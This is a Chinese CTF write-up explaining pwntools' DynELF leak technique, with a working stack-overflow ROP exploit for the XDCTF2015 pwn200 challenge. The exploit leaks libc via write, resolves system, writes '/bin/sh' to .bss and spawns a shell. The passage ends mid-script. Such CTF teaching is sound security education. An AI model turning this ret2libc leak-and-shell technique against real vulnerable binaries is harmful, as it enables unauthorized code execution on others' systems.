pwn题的无libc泄露用到的pwntools的DynELF模块
实现条件是:
有指向libc空间的 能泄露libc空间信息的函数 (write和puts函数)
能重复触发漏洞
DynELF模块的基本框架:
p=process('./xxx')
def leak(address):
payload='xxx'+address+'xxx' #address就是你要泄露的地址 ,payload是你控制程序泄露出address处的信息的攻击代码
p.send(payload)
leaked=p.recv(4)#接受的字节要看程序是32位还是64位来决定 ,32位接受4个字节的数据 而64位接受8个字节的数据
print "[%s] ->[%s]=[%s]" % (hex(address),hex(u32(leaked)),repr(leaked))#输出泄露的信息
return leaked
dynelf = DynELF(leak,elf=ELF('./xxx')) #初始化DynELF模块
system = dynelf.lookup('system','libc')
你可以用DynELF模块搜索到system或者是execv函数在内存中地址 但是不能找到"/bin/sh"字符串
所以"/bin/sh"要自己写入 bss段
因为我只做过write函数泄露的题 ,就先写怎么用write函数来实现 puts函数等以后做到了再补上
write函数原型是 write(1,address,len) #1表示标准输出流 ,address是write函数要输出信息的地址 ,而len表示输出长度
所以说我们要构造的payload一般是
x86
payload=junk+'fakeebp'+p32(write_plt)+p32(return_function)+p32(1)+p32(address)+p32(4)
amd64
payload=junk+"fakerbp"+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(address)+p64(pop_rdx)+p64(8)+p64(write_plt)+p64(return_address)
下面就拿一道题做例子:
XDCTF2015-pwn200
检查了下防护机制 发现开启了堆栈不可执行 所以不可以在栈上插入shellcode
同时在用ROPgadget搜索了下system函数和"/bin/sh" 发现找不到
简单运行下发 它输出了一句话 和让我输入一串字符串
用ida反汇编
可以发现write函数在plt和got都存在,同时还有read函数
我们就可以用write函数来泄露libc内存空间 ,借助DynELF模块来得到system函数的地址
向bss段写入"/bin/sh\x00"字符串 然后调用system函数就行了
脚本:
from pwn import*
p=process('./xdctf15-pwn200')
elf=ELF('./xdctf15-pwn200')
write_plt=elf.symbols['write']
write_got=elf.got['write']
read_plt=elf.symbols['read']
bss=elf.bss()
start=0x080483D0
main=0x080484BE
def leak(address):
payload='a'*(0x6c+4)+p32(write_plt)+p32(start)+p32(1)+p32(address)+p32(4)
p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
leaked=p.recv(4)
print "[%s] -> [%s] = [%s]" % (hex(address),hex(u32(leaked)),repr(leaked))
return leaked
d=DynELF(leak,elf=ELF('./xdctf15-pwn200'))
system=d.lookup('system','libc')
#use pppret 来保持栈平衡 :调用子程序时先保存堆栈信息(某些堆栈相关的寄存器),待子程序返回后将堆栈恢复到调用前的状态(堆栈用于保存局部变量、函数参数等重要信息),以保证程序能够继续正确运行
payload2='a'*(0x6c+4)+p32(read_plt)+p32(0x080485cd)+p32(0)+p32(bss)+p32(8)
payload2+=p32(system)+p32(0xdeadbeef)+p32(bss)
p.sendline(payload2)